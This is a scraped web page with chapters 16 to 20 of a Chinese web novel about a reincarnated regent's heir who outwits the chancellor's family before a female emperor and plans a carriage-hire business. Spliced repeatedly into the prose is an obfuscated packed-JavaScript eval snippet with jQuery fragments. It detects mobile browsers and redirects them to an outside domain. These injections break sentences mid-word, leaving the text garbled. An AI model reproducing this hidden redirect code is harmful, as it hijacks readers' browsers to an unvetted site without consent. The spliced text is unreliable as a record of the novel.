l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789148|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不怕咯着蛋。” “别别别,世子,这可是属下的老婆本啊!” “老婆本藏裤裆里?肯定是祖父刚赏你的,装什么装,回头去找账房报销。” “我” 林臻拿着银饼子,满脸堆笑地放在慕容无舌手里。 后者虽然也有点嫌弃,但有就比没有好,于是笑呵呵地说道:“哎呦呵呵呵,世子这是干什么呀?” “敢问无舌大人,陛下这么着急召我入宫,所为何事啊?” “哦~呵呵呵,顾相带他儿子来了,陛下对此很生气。” 林臻眼珠子一转:“好,我晓得了,无舌大人辛苦。” “不敢不敢,还请世子这就跟杂家走吧?” “请。” 王府距离皇宫有些距离,一来一回间足有一个时辰的耽搁。 林臻琢磨着,是不是可以在这里面搞点名堂出来。 发明个出租车公司。 当然,古代不可能有出租车,但出租马车还是可以的。 就目前来讲,马匹还属于重要军需品,价格昂贵,不是谁都可以买得起的。 就算能买得起,喂草喂料也都是个消耗钱财的活计。 所以就应了那句话:买得起,养不起。 就好似上个世纪八九十年代的出租车,价格同样很贵,绝大多数人家是买不起的,但是他们坐得起啊! 如果有个急事需要出门,没有车,可以选择打车,速度快,价格实惠。 林臻有观察过,整条朱雀大街出行的人基本都是步行,偶尔有纨绔骑马疾驰而过,掀起狼藉一片。 选择乘坐马车的人极少,只有少部分官员在出远门的时候才会这么做,没有人在进宫面圣的时候会坐车去,都是步行,以示对皇权的尊重。 官员尚且如此,更被说是除官员以外的农、工、商人了。 他们之中条件好的直接养马,条件不好的也根本养不起马车。 既然如此,这里面就大有搞头啊! 林臻为自己找到一条发财路而沾沾自喜,转眼间来到宫门口。 第16章 小屁孩能和技术男比吗? 皇宫内顾北辰细数了林臻在赌场所犯的罪行。 什么带亲卫滥用私用杀人越货抢走掌柜目无王法 还说林臻以前是怎么在四九城里欺负老实人的很多百姓都惨遭荼毒敢怒不敢言等等。 慕容嫣越听越生气越听越想杀了林臻这个浑蛋。 “林臻.你把朕的大乾祸害得乌烟瘴气简直枉为人臣!” 顾云霆坐在小马扎上一丝不苟地说道:“陛下息怒说起林臻所犯罪行简直是罄竹难书但他之所以如此嚣张还不是仗着摄政王握有兵权?假若摄政王暴薨他继承了兵权这还得了?” 顾北辰说道:“他肯定会造反!陛下林臻现在还没有兵权就如此嚣张等他有了兵权他眼里还有陛下您吗?” 父子俩把话说得都很刁钻。 既说出了王府的威胁又不说如何处理把皮球踢给慕容嫣。 那意思就是这B人已经这个德行了你老人家身为皇帝还不得管管嘛? 当然顾北辰父子俩谁也没指望用这一件事情扳倒林家只要能给顾北辰报仇让林臻涨涨教训就行。 果然慕容嫣听完气得一张俏脸宛若红透的苹果好像小宇宙要爆发似的。 就在这个节骨眼上林臻来了。 “启奏陛下林臻在殿外求见。” “让这个混蛋滚进来!” “是!” “噗呵呵呵。”顾云霆没忍住嘲笑。 按照林臻那个胆小的性子说不定真的会滚着进来。 到时候摄政王府的脸可就丢尽了。 林臻在殿外也听到了这句话。 心说怎么的?滚进来? 慕容嫣啊慕容嫣啊你也太拿自己当回事了吧? 林臻才不会毫无尊严地滚进去呢直接大踏步的进门。 慕容无舌看见根本不敢拦只能跟在他身后。 “臣林臻拜见陛下。”林臻躬身作揖态度不卑不亢。 慕容嫣正在气头上呢见林臻一点认错的态度都没有更是怒火中烧:“林臻朕刚刚说的话你没听见是吗?” “敢问陛下是什么话?” “朕让你滚进来!” “哦。”林臻淡笑着说:“是这句啊臣听到了。” “嗯?” 三人几乎是同时为林臻的云淡风轻感到诧异。 以前的林臻可不是这个性子啊一听说要见皇帝总像老鼠要见猫似的吓得腿肚 子转筋。 今天这是怎么了? 慕容嫣拧着两道柳叶眉,像盛怒又像撒娇地低声喊道:“林臻,你胆敢抗旨!?难道你林家真的要造反不成?” 林臻双手一摊,极其无辜地说道:“陛下息怒,造反是从何说起呢?是不是有人蛊惑陛下啊?” 林臻半威胁地转过头看了看顾北辰父子。 两人谁也没顶嘴,眼观鼻,鼻观口像入定似的。 林臻继续说道:“我朝自太祖皇帝登基以来,特赐摄政王面君不跪,剑履上殿之权,至今已有百年历史,微臣作为摄政王世子,也是日后的王爷,连跪拜都免又怎会滚着上殿呢。” 慕容嫣被辩驳得哑口无言,只干瞪眼,攥着粉拳,说不出话。 林臻也没有让她尴尬太久,换上一副笑脸说道:“微臣知道陛下心情不好,并不是故意要臣难堪,对吧?” “哼。”慕容嫣冷哼一声算是默认了,“朕问你,为何无故殴打同僚?还当众强抢民女,你身为朕的摄政王,就是这么欺压百姓的吗?” “无故殴打?陛下,臣冤枉,您可要为臣做主啊!” “为你做主?这世界上还有天理吗?”顾云霆看见林臻装逼的样子就生气,站起来说道:“你殴打我儿子,砸了我的产业,还抢走我的掌柜,这一桩桩一件件究竟是也不是?” 林臻理所应当地点头:“是啊!你儿子欠打,你的赌场欠砸,你的掌柜欠抢。但这些可不是无故。” “陛下,今日早上顾北辰勾引我新婚娘子去赌场玩乐,还扬言不去就要找人打断我妻子双腿。我妻子害怕顾家威严,没办法只能跟他去,结果被我抓个正着。他的这顿打,不是无故,而是事出有因!” “试问陛下,如果皇后娘娘也和别人通奸,您难道会装作看不见吗?臣认为臣做得没有问题,敢勾引我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789149|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妻子,就是要挨打!” “你放屁!” 顾北辰像木乃伊跳皮筋似的站出来:“我什么时候勾引你媳妇了?我是约她到茶楼探讨诗词歌赋!” “哦?那怎么探着探着就探到赌场去了呢?顾北辰,你敢说我不是在赌场抓到的你?” “我” 顾北辰突然的语塞,让慕容嫣感觉这件事情可能不像他们父子俩说的那样,应该是另有隐情! 林臻不给顾北辰反击的机会,继续炮轰道:“你什么你?当时所有人都看到了,是你牵着我娘子的手走进的赌场,你现在还想抵赖?是,你顾家权势滔天,仗势欺人,可以让那些人永远闭嘴,但你们 堵住天下悠悠之口吗?” 林臻骂完顾北辰又开始骂他爹。 “顾相,你昨日答应我林家说三天之内给个答复,现在答复没给,又让我抓到你儿子勾引我娘子,这笔账,您看怎么算啊?” “我” “林臻,你不要血口喷人,分明是你媳妇勾引的我!”顾北辰为了能得到皇帝的赏识已经决定要出卖刘书瑶了。 没办法,和皇帝的认可相比,显然女人是无足轻重的。 顾北辰不能让皇帝觉得他是个因好色而枉费前程的烂泥。 但是他千算万算也想不到,皇帝竟然是个女人! 只要是女人,脑回路就绝对和男人不一样! 果然,慕容嫣眉头一皱,一抹不喜已涌上心头。 林臻说道:“我媳妇勾引你?顾北辰,你也太看得起自己了吧?想我林臻玉树临风,风流倜傥,五官端正,相貌甚伟,她勾引你什么?” “勾引你比我低的家世,还是勾引你比我差的身板?不夸张地说,单论驭房术,你这种小屁孩就和我这种技术男没法比!我媳妇勾引你,你问问陛下会信吗?” 慕容嫣听得有点懵:“林臻,技术男是什么?” “就是陛下临幸妃子时的技巧,技巧越稳,妃子越.” 骚字还没说出来,慕容嫣的脸已经变得涨红。 林臻心说坏了! 他忘记皇帝是个女人了! 第17章 有种拿出来让陛下看看 果然是言多必失啊。 林臻现在有点后悔但想圆又圆不回来大脑飞速旋转琢磨着该怎么和慕容嫣解释。 没想到这时候顾北辰竟然送来一手神助攻! 只见他同样红着脖子喊道:“放屁!就你那被酒色掏空的身子也能和我比?有种拿出来让陛下看看我们俩谁*!” 谈论起男人的尊严就连顾云霆都觉得不能服软:“陛下臣强烈建议让他们俩现场比比谁输就阉了谁!” “放肆!”慕容嫣实在听不得这种污言秽语一拍龙案站起来“砰!亏你们还是朝廷命官大殿之上竟要比那种腌臜东西你们还有没有点羞耻!?” “陛下大家都是男人看看又何妨呢?” 顾云霆现在巴不得让林家绝后呢有这样一个好机会自然不会放过。 殊不知此刻林臻心里已经乐开了花。 他也没想到这父子俩这么没有底线在大殿上就提出这样的要求这不是让女帝抓狂吗? “看看又何妨!?”慕容嫣都怀疑自己的耳朵。 这是当朝丞相说出来的话? 她气得束胸都快绷不住了恨不得将手里的毛笔捏断:“好啊!现在你们仨就开始比谁输了就阉了谁!比!” 顾云霆当即就慌了:“这陛下臣一把年纪了这种比赛臣必输无疑啊 “顾相!请你不要转移话题!”林臻知道闹剧不能继续下去否则今天就白来了一点便宜都没讨到。 “现在说的是你儿子三番两次勾引我老婆的事情。你曾答应三天之内给个说法现在当着陛下的面到底如何补偿我林家你自己说。” 林臻的目的就是要当着慕容嫣的面把顾北辰勾引刘书瑶的事情坐实。 只要顾云霆愿意赔偿那这件事情就是板上钉钉了说不定还会写进史书里。 当然顾云霆也不是傻子绝不会轻易松口。 “臭小子老夫答应的是摄政王不是你这个世子!” “我来之前祖父已经授权给我让我处理此事。”林臻装作勉为其难的样子:“这样吧大家都是同僚我也不难为你就把远大赌场给我得了。” 顾北辰和顾云霆异口同声地喊道:“不可能!” 顾北辰喊道:“远大赌场是我顾家核心产业!给了你我们全家喝西北风啊?” “那就请顾相交出监管户部之权。” “小子你别蹬鼻子上脸检查户部是陛下的旨 意你说交出来就交出来?” 呵。 林臻冷笑。 就知道你们都不会答应。 林臻转身对慕容嫣说道:“陛下看来顾家是要耍赖皮了呢。堂堂一国丞相 “我什么时候耍赖皮了?老夫只说不答应又没说不做!” “那你倒是提出来个方案啊!” “我” “够了!” 慕容嫣实在没有心思再听这几个人谈这些无聊的事情。 金碧辉煌的议政殿分明是谈论国家大事的地方可这他们所言不是变态的***就是红杏出墙! 王府世子也是个奇葩。 自己女人被拐了他不去想办法追回来居然一个劲儿要补偿这都是什么神仙大臣? “你们拿朕当成处理家长里短的老妈子了?” 慕容嫣拍着桌子喊道:“你们都以为朕很清闲是不是?” “陛下息怒。” 三人同时低头。 慕容嫣指着林臻说道:“林臻监管户部的权力是先帝定下的朕不会改你不要痴心妄想!” 顾云霆难得露出一丝胜利的笑容与儿子对视一眼皆大欢喜。 可谁知慕容嫣下一句就险些噎死他们爷俩。 “北辰你身为翰林院院判本是朕的左膀右臂如今却践踏底线一再勾引良家少妇其罪可诛!念你昔日有功朕不罚你但你以后也不得再与刘书瑶相见。远大赌场就赔给林家此事到此为止!” “啊!?陛下” “陛下.” “住口!”慕容嫣打断顾北辰父子俩的话“以后朕要是再听到谁谈论此事绝不轻饶!” 说完慕容嫣起身就离开正堂。 侍女嬛嬛恋恋不舍地看了眼满脸震惊的顾北辰心里把林臻全家都问候个遍也跟着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789150|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕容嫣去了。 顾北辰整个人有点恍惚。 他不明白明明自己是来告状的这怎么就稀里糊涂的把赌场赔出去了呢? 难道受罚的不应该是林臻吗? 他当众把自己揍了把自己赌场砸了还把赌场里最美的花摘走了最后还得我赔他钱? 这TM什么情况? 而作为这场辩论赛胜利者的林臻心情极好地对两位拱拱手:“多谢顾相、顾兄慷慨解囊回去我就派人接手远大赌场。请放心你们顾家的人我是一个也不会要的!” 说 完林臻就走了。 顾云霆气得胡子都跟着哆嗦,指着林臻的背影颤颤巍巍地说道:“竖子!竖子!!老夫与你势不两立!额” 顾云霆气得一口气没上来险些昏死过去,顾北辰赶紧扶住他:“父亲!” “孩儿送您去医馆!” 慕容嫣回到后殿,把头上的金冠摘下来狠狠摔在梳妆台上。 “砰!” “混蛋!身为朝廷官员竟满嘴的污言秽语,父亲的江山难道就要受这些人控制吗?” “陛下息怒!”嬛嬛赶紧把金冠拿起来,仔细看有没有摔坏。 看后又重新扣在慕容嫣脑袋上。 “陛下,其实这件事情根本就不怪顾院判,是那个林臻巧舌如簧!” “你什么意思?难道北辰没有勾引林家少夫人吗?” “奴婢不是这个意思。奴婢是说林臻打人、砸赌场、还抢走民女,这些都是事实,但是在他口中这些都是顾院判勾引他妻子的代价,奴婢认为这样滥用私行,目无律法的人更加可恨。” 对啊! 慕容嫣这才反应过来。 今天本来是要教训林臻的,怎么反倒被林臻占据主动了呢? 他犯下那么多罪行,自己竟然没抓住重点,反而被他的几句话就牵着鼻子走,导致自己错怪了顾家,还降下惩罚。 现在顾家可是和自己一条心对付林家的,自己怎么能这么做的呢? 都怪那该死的林臻! 怎么就那么能诡辩呢? 第18章 哎呀,世子.. “唉。”慕容嫣幽幽地叹了口气扶住翠眉“就算知道是林臻故意诱导又如何呢?君无戏言朕说出去的话自然是无法更改的。” “并不是呀。奴婢猜想不管是顾相还是顾院判只要陛下表现出来一点点善意他们都会感恩戴德的!” 慕容嫣眼睛一亮随即抿嘴笑道:“有道理你命人去顾家宣旨就说朕今晚去他们家吃饭。” “是!” 太好了! 只要陛下肯去顾家自己就能见到顾院判了呢! 他好帅好帅呀连骂人的时候都是那么帅捆着纱布的时候也是那么帅。 不像林家那个纨绔一脸的奸臣像。 嬛嬛欢天喜地的出去准备慕容嫣忽然想起什么又喊道:“回来!” “陛下!” “谷中满是不是还跪着呢?” “是陛下并没有让下他进来的旨意。” “让他进来吧 “是。” 缓缓离开。 慕容嫣则是盯着眼前的铜镜左看右看逐渐放松了声线露出小女儿的媚态。 “唉如此美丽的脸也不知道会便宜哪个臭男人。” 慕容嫣心里不知不觉浮现出顾北辰那张帅气的脸。 随即淡笑着摇摇头将不可能的想法抛之脑后。 她再看向自己缓缓说道:“父亲女儿好累啊。” “女儿真的不想再当皇帝了。” 林臻回到府中的时候厨房已经准备好了晚膳。 说是晚膳其实就是下午饭古人一天两顿已是常态。 王府的餐食都很简单即便是世子一顿饭也只吃四个菜两荤两素外加几个馒头和一碗汤。 虽然少但胜在精致。 一颗白菜不好好煮非要雕成牡丹花摆盘可见是下了一番心思的。 在没有科技与狠活的古代菜远远没有后世好吃菜式也没有后世丰富。 但这样天然无污染的菜林臻从没吃过如今品尝起来别有一番风味。 林臻坐在餐桌边大快朵颐风卷残云有饕餮遗风。 吃得正香的时候胖子和芦德豪进来了。 同时浣碧也端着净口的茶水进来见林臻吃得香甜轻轻给他捶背。 “世子您慢点吃又没人和您抢。” “唔”林臻大口嚼着馒头说话含含糊糊的:“你们来得正好。” 胖子一屁股坐在椅 子上伸手抓鸡腿吃,就像在自己家一样,丝毫不客气。 芦德豪多少还文雅点,先是对林臻笑笑,然后也抢走另一个鸡腿。 “大哥,有什么事情你就说。 “陛下已经下旨让顾家把远大赌场给我了,你们带人去接收一下,停业整顿几天。 “啊?大哥,那可是顾家的命根子啊,你怎么做到的? “是啊大哥,顾云霆是绝不会善罢甘休的。 “这个你俩不用管,按我说的做就行。另外,浣碧,我命人送回来的姑娘呢? 浣碧说道:“您说的是那位受伤的女子吧?她被奴婢安置在厢房了。 “她可有说过什么? “没有,她回来就自己在房间里,一天也没有出来过。 林臻点点头,张嘴喝了一口浣碧喂过来的茶水,然后漱漱口吐进瓷盆里。 “嗯,派个人照顾一下,也不用多管,有什么需要都尽量满足便是。 “是。浣碧还是有些好奇,忍不住问道:“世子,她到底是什么人啊? “一个对我很重要的人。 很重要么 浣碧心里有些吃味。 自己伺候世子这么多年,也没见世子对自己说过这样动情的话。 少女的心事就像海棠花的花蕊,软软绵绵却有无限韵味。 林臻捕捉到她的失神,笑了笑,牵住她的手。 “小妮子,乱想什么呢?林臻站起身刮了下她精致的小鼻子,“谁才是身边人不用我多说吧? “哎呀,世子.一个亲密动作就让浣碧忘记了所有,难为情地看了看胡吃海塞的哥俩,换上那副娇羞的表情。 林臻说道:“好了,你去告诉管家,让他带着账簿过来,我有事要问他。 “是。 浣碧去了,很快王府管家林安带着账簿进了院落。 此时林臻正在写东西。 “世子。 “老林来了,快坐。 林安有些受宠若惊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789151|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老奴不敢,请问世子这么着急找老奴过来是所为何事啊? “把你的账簿给我。 林安的手抖了抖,犹豫了一下:“世子,府中可真的没剩多少钱了,您千万不能. “行了行了,墨迹什么? 好好说话不听,林臻就只能恢复成纨绔的样子,一把将林安手里的账簿抢过来。 这是今年的账簿,上面关于林府的种种开销都 记载得很清晰。 正月初一,采购四百四十两,筵宴一百六十两。 三月初五,补偿虎贲营军饷,三千六百两。 五月二十,王爷寿辰,筵宴三百四十两。 越往后看,林臻越是咋舌。 看似强大的摄政王府,账面上竟然穷得连五千两银子都没有。 全家都要靠朝廷的俸禄和封地的税收过日子。 去年为了补偿阵亡将士抚恤,林震仙还把祖产变卖,如今生活已经越来越是拮据了。 再不想办法赚钱,恐怕就连林震仙都得去喝西北风去。 哦不对,这里是华北地区。只有东南风,没有西北风。 好嘞。 这正应了那句话:穷得连西北风都喝不上了。 也不知道这位铿锵老人到底怎么想的,光明磊落能当饭吃吗?能当钱养活家人吗? 还不屑参与商贾之事。 哪个大家族不得养几个商人,否则这一大家子人吃什么喝什么? 王府占地极大,丫鬟仆役近也有三百,可不是什么小门小户,这么下去怎么行? 林臻一琢磨,还是得想个发家之路。 贪污肯定不行,被老爷子抓到非打死自己不可,虽然这件事情在自己眼中并不是大的过错。 因为就算不贪污,这钱也到不了老百姓手里。 还是稳稳当当做生意吧。 后世的时候,林臻认识几个公司大佬,在这方面多少还懂一些。 先开个车行,垄断京城的出租车产业链,然后再逐步控制其他产业。 距离南楚入侵还有三个月的时间,必须要积累大量钱财才行。 否则战事吃紧,没有粮草,林家就难逃厄运。 第19章 你想对我做什么...都可以 胖子一个人吃了四个馒头还嫌不够,把最后一个馒头掰开,像抹布似的把菜盘蹭了好几遍,直到一点荤腥不剩才恋恋不舍地吞下肚子。 末了砸吧砸吧嘴:“啧,老林,赶紧再搞点吃的过来,胖爷都没吃饱。 “是,老奴这就去办。 “别着急。林臻把林安拦下来,“我有事情要跟你们商量。 “什么事情不能等胖爷吃饱了再说啊? “这件事情如果办成了,以后你想吃什么就吃什么,哪怕是天天大鱼大肉都没问题! “真的?胖子一双大眼睛满是金光。 他父亲王铁男是林震仙的义子,不仅武艺脾气随了这位老爷子,就连清贫也是如此。 两家条件也都差不多,但王铁男胜在不需要自掏腰包照顾将士,所以日子比王府过得还要好一些。 即便如此,胖子也不是想吃什么就能吃什么的,得听从家里安排。所以他总是不愿意回家,都在林臻这里蹭饭。 芦德豪和他不同,勋国公芦庆新家里有布匹和粮食生意,家庭条件很好,也算是三人中手头最阔绰的。 林臻把自己计划全盘托出:“是这样,我打算在京城成立一家马车公司。 两人听后都是你看我,我看你的一头雾水。 “公司?那是什么东西? “是啊大哥,你说明白点。 林臻说道:“你们不用知道公司是什么。简单点,就是我们三人合伙出钱,一人五百两银子。三个月后,每个月我都会给你们俩一人五十两银子的分红。 胖子开始掰手指头算了:“一个月五十两.这也不多啊。 芦德豪也表示没啥意思。 “大哥,你这生意照我们布庄差远了。我们郝掌柜做南北布匹,一个月就是上千两银子的流水。 “你们懂什么?林臻还得耐着性子给他们解释。 “一个月五十两,一年就是六百两,十年就是六千两!只要公司不倒,你们就可以永远享受一个月五十两银子的收入,甚至传几代人。而你们的投资却只有五百两,这不是很划算吗? 林臻不给他们说话的机会,继续说道:“而且这只是京城,我大乾人口过三十万的城市还有很多,我们后期可以加大投资,你们的分红也会更多。 “啊?永远都有? “大哥,你说真的吗? 按林臻这样推算,不到一年就可以回本,从此以后就是纯利润,每月五十两。 没什么经商头脑的两人,哪里禁得住这种诱惑? 一时间胖子和芦德豪都有些动心,而且五百两也不是很多,跟家里说说肯定能拿出来。 只有大管家林安眼观鼻鼻观口像老僧入定似的。 林臻笃定地说道:“当然,而且我们是亲兄弟明算账,只要你们同意,我们这就签契约。” 芦德豪本就是个不学无术的废柴,除了花钱什么都不会。 家里人突然听说他要钱做生意,还不乐疯了?当即说道:“好!我听大哥的,这就回去拿钱!” “行!”胖子咬咬牙:“我先去把赌场的事情办了,然后就回去找老爹商量商量。” “那就一言为定!” 三人一拍即合,相继离去。 林臻打算去偏院看看张俪,刚起身便被林安叫住:“世子。” “嗯?” “五百两银子说少不少,是不是得和老爷那边商量一下?” 林臻笑着摆摆手,连头都没回地出门道:“行,你去说吧。祖父同意以后把银子送到我卧房来。” “啊?”林安有些纳闷。 以前林臻想要跟林震仙要五两银子都费劲,今天这是怎么了? 他怎么就这么肯定林震仙会答应呢? 这份自信 不对劲,有问题! 绝对有问题! 世子好像和以前不一样了! 偏院门口站着两名丫鬟,这两人林臻不认识,但她们却认识林臻。 见主子过来,立刻笑着作揖。 “世子。” 名叫晴雯的小丫头一个劲儿给林臻抛媚眼,弄的后者有些尴尬。 深宅大院里苦啊。 不管是丫鬟还是宫女,她们最大的盼头就是希望自己能成为主子的小妾,好翻身做主人。 如果不能成为小妾,日后就要嫁给府里的小厮,或者到了年岁由主家安排府外的人相亲。 但是当过丫鬟的女子,一般人家都不愿意要。 因为高门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789152|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大户里肮脏龌龊的事情太多,谁也不知道自己娶回来的是不是一手货。 毕竟婚前不能验身啊。 而林臻本来名声就不怎么样,实在是丫鬟们翻身农奴把歌唱的最好突破口。 “里面有什么异常吗?” “回世子,那女人很安静,没有什么异常。” “嗯,辛苦你们了。” “嘻嘻,能为世子干活,是妾身的福分~” “额” 好家伙,这连奴婢都不说了,直接改妾身了。 这是多想上位啊? 林臻看了看晴雯,只觉她很像自己见过的一个人,但是没多想,推门走进院内。 这都大半天了,张俪还是不吃不喝一副要绝食的样子,林臻坐在桌边看着她。 “我刚从宫里回来,陛下已经答应把远大赌场给我了,如果你心甘情愿地效忠我,以后你就还是赌场的掌柜。” 张俪像听到什么旷世奇闻,一脸的难以置信:“陛下答应了你?” “是啊。” 张俪想了想,随即冷笑:“呵,亏你还是王府世子,这么骗我一个女子有意思吗?” “不信我可以带你去看,现在赌场已经被我的人接手,顾家的人已经陆陆续续退出去了。” 看林臻一脸笃定的样子,张俪也心里打鼓。 难道说,这场博弈,顾家这么快就输了? 这也太扯淡了吧。好歹顾家也算是大乾唯一能与王府相抗衡的家族,皇帝不会傻到帮助王府而伤害顾家的。 那就只有一个说法,林臻撒谎! “好啊,我跟你去,如果赌场没有归你怎么办?” “你说怎么办?” “我要你送我回顾家,亲口和顾少说明情况。” “没问题,我答应你。” 毕竟有主角光环在,张俪内心对顾北辰还是抱有一丝幻想的。 所以林臻对她这个要求并不意外。 “那如果赌场归我了怎么办?” 张俪也不亏是女中豪杰,直言不讳地说道:“我愿意效忠你,并且以后你想对我做什么.都可以。” “好!不愧是我看上的女人。” 林臻起身,伸手虚引门外:“请吧。” 第20章 三个月之内,我要十万两现银 两人一前一后出门上了马车,直奔赌场而去。 这消息很快便被看到的小翠传到刘书瑶耳朵里。 还跪在林震仙门外的刘书瑶已经是摇摇欲坠,听了小翠的话立刻来了精神。 “你说什么?林臻带着那个女人出去了? “对,就是赌场里的女掌柜,他们两人有说有笑地上了一辆马车!刘书瑶震惊之余,脑海里也在思考着什么。 她根本就不爱林臻,甚至自己现在的痛苦全拜林臻所赐。 他霸占了自己,从顾郎身边抢走了自己,现在还因为他,自己在那个臭老头门前下跪。 这一切的一切都是因为林臻! 如果没有他,自己将和顾郎双宿双飞,那是何等的快活啊? 小翠看了看刘书瑶亮晶晶的双眸,低眉说道:“夫人,要不要把这件事情和老爷说说?他是最反感风尘女子的,说不定可以让林臻受些惩罚。 “对对对!刘书瑶脑子显然不是很好,听了小翠的话冲着大门喊道:“祖父!孙媳有话要说! “祖父,求祖父开门呀! “吱呀。 门还真就打开了。 大管家林安从里面走出来,对刘书瑶说道:“少夫人,老爷有令,您有话就在这说吧。 说完林安便掠过她身边走了。 刘书瑶不疑有他,立刻喊道:“祖父!林臻败坏家风,抢夺风尘女子入府,现在又和她出去不知道行什么苟且之事!祖父!孙媳的错误和林臻比起来根本就不算什么的! “求祖父给孙媳一个机会,让孙媳也去捉奸吧,肯定能人赃并获! “住口! 林震仙走出来,两道白眉都快拧成八万了,满脸怒火。 他刚刚得知林臻要钱做生意的事情。 对于孙子的改变,他还是很开心的。 怎奈刚开心没几秒就听到刘书瑶这么说话,怎能不怒? “臻儿再怎么说也是你的夫君,你岂能在背后如此诋毁他?再者,男人家养几房小妾根本不算什么,你勾引顾家小子就是罪大恶极!若不是看在刘翰阳的面子上,你以为老夫会容忍你这样一个女人在府里吗? 知道女子地位低下,刘书瑶也不敢再说什么,只希望林震仙盛怒之下能让林臻休了她。 “那那请祖父下令,休了孙媳吧 “休了你?哈哈哈哈。林震仙仰天长笑,“我林家伤风败俗的帽子已经扣上了,现在休了你,不是白白便宜了你和顾北辰么 ?放心吧,臻儿有的是办法炮制你。” 林震仙挥手道:“不要在这里碍老夫的眼,滚回你该去的地方。” 言罢林震仙走了回去,林大拿顺手关门。 刘书瑶好像浑身被掏空似的,瘫坐在地上,小翠赶紧伸手搀扶:“夫人!” “小翠,你快去把这件事告诉我父亲,否则.就来不及了.” “是!奴婢这就去!” 摄政王府的辇车缓缓行进,其格调非寻常府邸所能企及,车身装饰着淡雅而不失精致的图腾,每一笔一划都透露着低调的奢华,既不张扬亦不显俗套,恰是那份恰到好处的尊贵。 车内空间宽敞而雅致,中央巧妙地布置着一张茶台, 林臻端坐于正中,姿态悠然,张俪则静坐在其右侧,两人之间随着车辇摇曳,膝盖不经意轻轻触碰,激起一阵微妙的涟漪。 张俪心中微动,对这不经意的触碰略感不适,却又不便言明,只得暗暗蹙眉。 抬眼看去,发现林臻正撩起车帘观察着外面,不像故意是揩油的样子。 切,装什么装。 “喂!陛下真的让顾家把远大赌场送与你了?” 其实早在出门的时候,张俪就已经信了七八分,现在见林臻还是那副笃定的样子,就更加深信不疑了。 林臻看着窗外,没有回答她,突然没头没脑地问道:“你认识木匠吗?” “你要干什么?” “我需要打造一些马车。” “这种小活儿不需要太厉害的手艺人,随便找几个学徒都能做。” “我需要的量很大,而且速度要快。” 张俪有些疑惑,不过她没有多问。 “要多少?我可以找人去办。” “一百五十个吧。” “啊?”这回张俪可是坐不住了。 一百五十个马车! 这什么概念? 整个京城所有马车加起来也才二三十辆,还都是官员家的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789153|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他造这么多马车是要冲锋造反吗? “林臻,你到底要干什么?这么多马车可不是个小数目。再说,你有那么多马匹吗?” “马的事情你不用操心,我自有办法,你就说多久能做好,大概要多少钱。” 张俪低眉算了算说道:“如果不算马匹的话,大概要七百两,时间差不多半个月吧。” 林臻摇摇头:“半个月不行,时间太久,五天之内。” “大哥,你就是把全城的木匠都找来,一天 也做不出三十辆马车!” “那就日日夜夜加班加点地干,告诉他们,钱不是问题,必须在五天之内做好。” 林臻回头,看向这个美丽的女人,语气不容置疑地说道:“明天我就把钱给你,你去办吧。” “你居然还命令起我来了!”张俪拧着柳叶眉说道:“哼,我们还没到赌场呢,你就这么笃定我会输?” 